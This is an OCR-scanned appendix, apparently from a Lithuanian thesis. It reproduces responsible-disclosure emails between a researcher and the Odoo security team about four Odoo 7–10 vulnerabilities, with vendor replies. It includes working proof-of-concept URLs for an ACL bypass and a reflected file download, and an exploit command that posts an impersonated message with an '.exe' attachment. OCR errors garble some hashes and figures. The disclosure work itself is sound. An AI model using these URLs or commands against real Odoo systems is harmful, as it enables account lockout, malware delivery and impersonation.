8.0 —-- https://github.com/odoo/odoo/blob/8.0/addons/mail/controllers/main.py#L15

AFAICT this endpoint was removed in version 9.0
(https://github.com/odoo/odoo/commit/ |
<~ 6baf611df1064a3ae5£6368d3a35b3c3d7779543#diff-ef8db24c2e50balcc7cc66c8ce43a9dbLl16)

*Demonstration*
For the purposes of the demontration, I am using a local instance of 0Odoo v8.0
(commit: 46c5f93) running at localhost:8069 with the mail module installed.

I have searched for model methods taking five (or more, if other arguments are
optional) arguments and beginning with an underscore (as these are the
"private" methods, inaccessible via RPC). One of such methods is
_set_encrypted_password on 'res.users' model in the module 'auth_crypt'. It
takes six arguments: self, cr, uid, id, encrypted, context=None, where context

is optional, so it fits our case.

Let's construct a URL to the controller in question:
http://localhost:8069/mail/download_attachment?model=res.usersk

< method=_set_encrypted_password&id=1&attachment_id=123

If an authenticated Odoo user visits (their permission groups do not matter)
this URL, the password_crypt field for the user with ID 1 (admin) in the
'res_users' table in Odoo database will be set to the value of the
attachment_id parameter, which in this case is 123. The fact that the user
might not have access to write to this table does not matter, because in the
_set_encrypted_password method the update query is executed directly on the

cursor, bypassing the ACL.

This does not allow us to change the user's password, however, we've
accomplished a ACL bypass and the user will not be able to login, because the

value we have set is missing information about the algorithm.
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I have not investigated other possible methods which could be exploited this

way, because I find this one is enough to demonstrate the vulnerability.
*Prevention*

I have not thoroughly inspected possible fixes for this problem, because a
comment inside the vulnerable controller method says the following: # FIXME use
/web/binary/saveas directly so I guess somebody just forgot to finish work on

this method. At the very least, I think a direct getattr() should not be used.

I hope this report was sufficient for you to reproduce and confirm the

vulnerability. Please feel free to contact me if you need more information.

Kind regards,

Naglis Jonaitis

6.3.3.2. Odoo saugumo komandos atsakymas

Hi there,
Thanks for another excellent security report!
We agree that this getattr() use is insecure, and your analysis is 1007 correct.

In order to properly analyze the risk level and consequences of this issue, we

are currently researching different practical attack scenarios that includes it.

You have highlighted an interesting one: a technique that lets an authenticated
user cause a Denial 0f Service by blocking access to users who are using a

local password authentication.
According to our preliminary analysis, this would give this issue a CVSS Base

score of 7.1 (High), should the attacker use it repeatedly to break the

passwords of all system users:
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H/E:P/
< RC:C

Any further feedback is welcome regarding other practical attack scenarios!
We will get back to you soon with a proposed patch and more refined analysis.

Thanks again!

Odoo Security
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6.3.4. Pranesimas apie RFD pazeidziamumg ,,web“ modulyje

6.3.4.1. Pranesimas apie pazeidziamuma

Hello,
thank you for your response.

The vulnerability in question is found in the "/web/binary/saveas_ajax"

endpoint of the "Binary" controller of the "web" module (link
<https://github.com/odoo/odoo/blob/8.0/addons/web/controllers/main.py#L1106>) .
AFAICT it affects OpenERP version 7 and Odoo version 8. The controller

endpoint in question no longer exists in version 9. AFAICT the endpoint is

used in the JavaScript client (link
<https://github.com/odoo/odoo/blob/8.0/addons/web/static/src/js/view_form. js#L5681>
)

I've reproduced this in Odoo version 8 (commit: c¢3a05d0
<https://github.com/odoo/odoo/commit/c3a05d05161299e72870be87ad86£313315dafc1>) .
In version 7.0, the controller shares similar (if not the same) code (link
<https://github.com/odoo/odoo/blob/7.0/addons/web/controllers/main. py#L1298>

).

Demonstration
Let's assume an Odoo 8.0 instance running at http://localhost:8069/ with

"web" module installed.

As an example, let's use the following Python script:
#!/usr/bin/python
print 'Hello'

Let's encode the code using base64:
IyEvdXNyL2Jpbi9weXRob24KcHJpbnQgJOhlbGxvJIwo=

Now, let's build our URL:
http://localhost:8069/web/binary/saveas_ajax?data={

"model":"","field":"","data":"IyEvdXNyL2Jpbi9weXRob24KcHJpbnQgJOhlbGxvJwo=","filename": " |

< test.py","filename_field":"a"}&token=1

When visiting the URL, we get a file download "test.py" containing our

previously prepared code.

If you inspect the controller code more closely, you may see that the value
of the "data" key in the "data" GET parameter is used, if provided.
Furthermore, we can set the filename of the file, which allows us to create
any sort of file (*.exe), etc. The "model", "field", "id" keys can be set

to make the link more believable.
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Mitigation
Oren Hafif in his talk at Blackhat suggested several mitigation methods,
described in his presentation (link
<https://www.blackhat.com/docs/eu-14/materials/ |

< eu-l14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf>)
and whitepaper (link
<https://drive.google.com/file/d/OBOKLoHg_gR_XQnV4RVhI1N196MHM/view>). In my
opinion, requiring additional request headers to be set and checking their
existence in the controller could be the easiest solution. This would
prevent the file to be reflected when simply visiting the URL, however, the
endpoint could still be used by the JavaScript client by adding additional

headers to the request.
Please let me know if you require additional information.

Kind regards,

Naglis Jonaitis

6.3.4.2. Odoo saugumo komandos atsakymas

Hello,
Thanks for sending this very detailed and documented security report!

A quick analysis indicates it looks like a valid issue that probably qualifies

as medium/high for versions 7 and 8.
Your proposition for resolution also makes sense, and if you'd like to make a
shot at a draft patch while we perform the full analysis, you'd be more than

welcome :-)

We'll send you more complete feedback as soon as we complete the analysis on

our side.

Thanks a lot for working with us to improve the security of 0Odoo!

Odoo Security Team
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6.3.5. Pranesimas apie nesaugiy prieigos zetony generavimag ,,website

quote* modulyje

6.3.5.1. Pranesimas apie pazeidziamuma

Hello,

investigating the module 'website_quote' I have found that when installing
the 'website_quote' module, the default values for the newly added '

access_token' field on existing sale orders are insecure (the same). I was
not sure if this problem deserves a security report, so please let me know

if I should instead post this as an issue on GitHub.

The module in question is available in both v8 and v9. I have tested this
on version 8.0 (46c5f93

<https://github.com/odoo/odoo/commit/46c5£93b6cfa2b348078e674cd9e271ef5£81292>

)

Explanation

The 'website_quote' module allows Odoo users to prepare beautiful
quotations to their customers and send them a link via email. A customer,
using the link, can review the offer, comment it, accept/reject it and so
on. The quotations are based on the 'sale.order' 0Odoo object. Because
customers may not have/may not want to have an Odoo user account, the
'website_quote' module uses unique access tokens to allow only users with
the link to view the quotation page. If the provided access token matches
the one set on the 'sale.order' record in the database, then the quotation
information is retrieved using superuser rights. However, when installing
the module for the first time, if there are existing sale orders in the
database, then when the 'access_token' column is added, all existing sale
orders will get the same UUID value. This happens because the method for
setting the deafult values on a column only call the value generation
function once and uses the value for all existing records (
openerp/models.py:2394
<https://github.com/odoo/odoo/blob/8.0/openerp/models.py#L2394>) .

This behavior may potentially allow unauthorized access to other customers'
sale orders via the 'website_quote' controller endpoints. I have tested

such a scenario on a blank Odoo 8.0 database with demo data:

- Company uses 0doo without the 'website_quote' module.

- Company employee prepares a default quotation to a customer A and
sends it to the customer via email.

- Customer A registers a portal user account in the company 0Odoo
instance to be able to review the quotation.

- Company installs the 'website_quote' module. All existing sale order
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records get the same 'access_token' value.

- Customer A, using his/her portal user account, reads the 'access_token'
value (for example, using the /web/dataset/call_kw/sale.order/read JSON

RPC endpoint) from one of the sale orders that the customer has received in
the past.

- Because the 'access_token' value is the same for all past sale orders,
customer A can view, accept, deny, comment, etc. all past quotations for

other customers as well.

Prevention

I have thought about possible solutions for this problem. One of the
solutions might be to extend the _auto_init method on the 'sale.order'
model in 'website_quote' and regenerate the tokens while the module is

being installed. Some pseudocode:

def _auto_init(self, cr, context=None):
column_existed = check_column_exists('access_token')
super(sale_order, self)._auto_init(cr, context)
if not column_existed:

regenerate_access_tokens ()

I have searched for other places in the code where such problem might also
exist (0Odoo v8.0):

- addons/im_chat/im_chat.py:L52
<https://github.com/odoo/odoo/blob/8.0/addons/im_chat/im_chat.py#L52>
- addons/survey/survey.py:L889
<https://github.com/odoo/odoo/blob/8.0/addons/survey/survey.py#L889>

Additionally in version 9.0:

- addons/rating/models/rating.py:L23
<https://github.com/odoo/odoo/blob/9.0/addons/rating/models/rating. py#L23>

- addons/mail/models/mail_channel.py:L50
<https://github.com/odoo/odoo/blob/9.0/addons/mail/models/mail_channel.py#L50>

However, from a quick inspection it seems that in these places, the unique
field is added on a new model, not an existing one, so there should not (7)
be existing records where an issue with the same column value could occur.
Seeing that unique default values might also be useful in other places, not
just the 'website_quote' module, maybe it would be better to look for more
global solution (allowing to request for unique default values via context,

etc.)? I would love to hear your ideas.

I hope this report is sufficient to understand the problem. If not, please

do not hesitate to ask me any questions.

Kind regards,
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Naglis Jonaitis

6.3.5.2. Odoo saugumo komandos atsakymas

Dear Naglis,

Once again, your analysis of this issue is 100% correct, and your report is
very well documented!
We're impressed with the depth of your research and the extra diligence with

regard to other possible occurrences of this issue.

We're still evaluating the possible security consequences of this bug in order
to determine the appropriate Risk Rating and the correct steps to take
In particular, we're analyzing the databases of a large sample of 0Odoo Online

users to evaluate the frequency of duplicate tokens.

Your suggested solution seems correct too, so we're likely to implement it and

credit it to you.
We'll keep you updated about the resolution status very soon!

Thanks a lot for your extremely accurate research and your help to keep Odoo

secure!

Odoo Security

6.3.6. Pranesimas apie autentifikacijos/autorizacijos apéjimo

pazeidziamumag ,,mail“ modulyje

6.3.6.1. Pranesimas apie pazeidziamuma

Hello,

I've discovered an authentication/authorization bypass vulnerability in the
'mail' module '/mail/receive' endpoint. It potentially allows an attacker,
having only a previously received mail message ID (included in email
headers), which was sent from Odoo, to bypass authentication/authorization
in Odoo and impersonate any partner ('res.partner') in that Odoo instance
by posting on 0Odoo documents (models inheriting from 'mail.thread') using
their name. The attacker has full control over the message which he/she

posts (eg. attachments, etc.).
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I have reproduced it with Odoo v8.0 [1] and v10.0 [2], but I believe that

v9.0 is vulnerable as well, as the same controller endpoint exists in v9.0

[3].

Proof of concept

I've included a link to a Python script, which demonstrates the
exploitation of the vulnerability [4]. I believe the usage of the script

should be easily understood from the provided script.

Let's assume we have an Odoo instance running at http://localhost:8069/
with a single database called 'test' with 'sale' module installed and demo
data loaded.

1. Login as 'demo' user, go to "Sales -> Customers", select a partner,

eg. "Agrolait".

2. Click "New Message" and post some message, eg "This is a test

message."

3. Login as 'admin' user, go to "Settings -> Technical -> Email ->
Messages", select the 'mail.message' record which was created when posting
the message, and in the "Gateway" tab copy the value of the "Message-Id"
field (eg.
1484300518.839483976364136.331376944725916-0openerp-8-res.partner@df3f1b339338
). In an attack scenario, the attacker would be a follower of the

document, on which the communication is done and would receive an email
with the message ID in the "Message-ID" email header, so no authentication
with Odoo in order to get the message ID would be necessary.

4. Invoke the demonstration script impersonating the admin user (
admin@yourcompany .example.com), for example: python2
exploit_mail_receive.py --to demo@yourcompany.example.com --attach
invoice.pdf.exe --body 'This is admin. Please check attached invoice'
http://localhost:8069/ test
1484300518.839483976364136.331376944725916-openerp-8-res.partner@df3f1b339338
admin@yourcompany.example.com

5. Once again, open the "Agrolait" partner page. The message from

administrator partner is posted with the attachment.

Explanation

If we examine the code of the endpoint [1], we can see that this endpoint
requires no authentication (auth='none') and the
mail_thread.message_process method

is called with superuser rights. In the endpoint, a base64 encoded email
message, which is fully in control by the attacker, is decoded and then
processed by Odoo. The message ID of an existing 'mail.message' record is

required in order to sucessfully process our "harmful" message.

Prevention
I was unable to find any sources documenting the usage of this endpoint, so

it is hard to propose a possible fix for this vulnerability. From the
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comments in the code (*End-point to receive mail from an external SMTP
server.*), it seems it is intended to be called by a SMIP server, however I
am unaware of such SMTP server functionality, so I don't know if
authentication/authorization could be added to the endpoint. Also, I am not
sure that removing the endpoint is a possible solution, because I don't
know how widely (if at all) it is used. For these reasons I will have to
leave it up to your security team to evaluate the possible solutions for
this problem, as I believe that you might have more information on the

usage of this endpoint.

I hope this report was sufficient for you to reproduce and confirm the

vulnerability. Please feel free to contact me if you need more information.

Kind regards,

Naglis Jonaitis

[1]:

https://github.com/odoo/odoo/blob/0abcbc6cIdba79522b1b6£78c2cf0eleddb83a3a/addons/mail/ |
< controllers/main.py#L31-L44

[2]:

https://github.com/odoo/odoo/blob/a93632df91b7590763£3cf429a2b2062f c2ae4c4/addons/mail/ |
< controllers/main.py#L97

[3]:

https://github.com/odoo/odoo/blob/c7767b8853520cc492051£144£d8d4c918c98332/addons/mail/ |

< controllers/main.py#L96
[4]: https://gist.github.com/naglis/23£d0204811£906977£94329959e3b75

6.3.6.2. Odoo saugumo komandos atsakymas

Dear Naglis,
Thanks for submitting another well-documented issue to the Odoo Security team!

We apologize for the answer delay, we have a accumulated backlog of issues
after the holidays period - but we're slowly getting there!
Happy new year 2017, by the way! :-)

# -- Analysis of your report -- #

Your description of the situation with the /mail/receive endpoint is correct,

and we confirm that this endpoint was meant to be used for inbound mail processing.
To be honest, it is however entirely unused, as even our SaaS platform uses a
private endpoint for the email integration.

We could not find any community module that uses it either.



## Impact

The impact is however rather limited. After all, this is basically the "mail
push" variation of the popular "mail fetch" setup people have when they have no
control on a incoming MX server. This standard feature provided by our

“fetchmail® module lets you fetch incoming messages from an IMAP/POP3 account.

In both cases the result is the same: if you forge mail headers to impersonate
a valid user of the system, the system has no definitive way to identify you as
a cheater, and therefore processes your message as genuinely coming from the

purported sender.

This is well-known limitation of the SMTP protocol. Short of requiring complex
and annoying setup of cryptographic keys and signatures for each messages,
there is no way to verify the real origin of a message. The same is true with

this endpoint, which is basically an SMTP entry point.

To us, there are 2 main differences with the "fetchmail" system, however:

1. When they setup an incoming mail server, the administrators of the database
have to make a conscious decision of allowing arbitrary inbound messages.

That's not the case with this endpoint.

2. Many competing mechanisms have been developed on top of SMIP to make life
more difficult for spammers, phishers, et al (SPF, DKIM, DMARC, ...)
Even if they provide limited security, they are at least available for

deployment on typical "incoming mail servers".

This endpoint does not provide any way to use those features by default.
### CVSS
The CVSS score I can come up with is 5.3 (Medium), but it feels rather
overrated given the fact that you might be able to achieve the exact same

result by sending a forged email.

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

## Remediation

We're considering simply dropping that route. Rationale: it is unused,

undocumented and creates an unnecessarily (albeit very limited) risk.

This would be done for Odoo 8.0 and all subsequent versions.

#-- ~ - #
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What do you think?

Thanks a lot again for working with us to improve the security of Odoo!

Odoo Security
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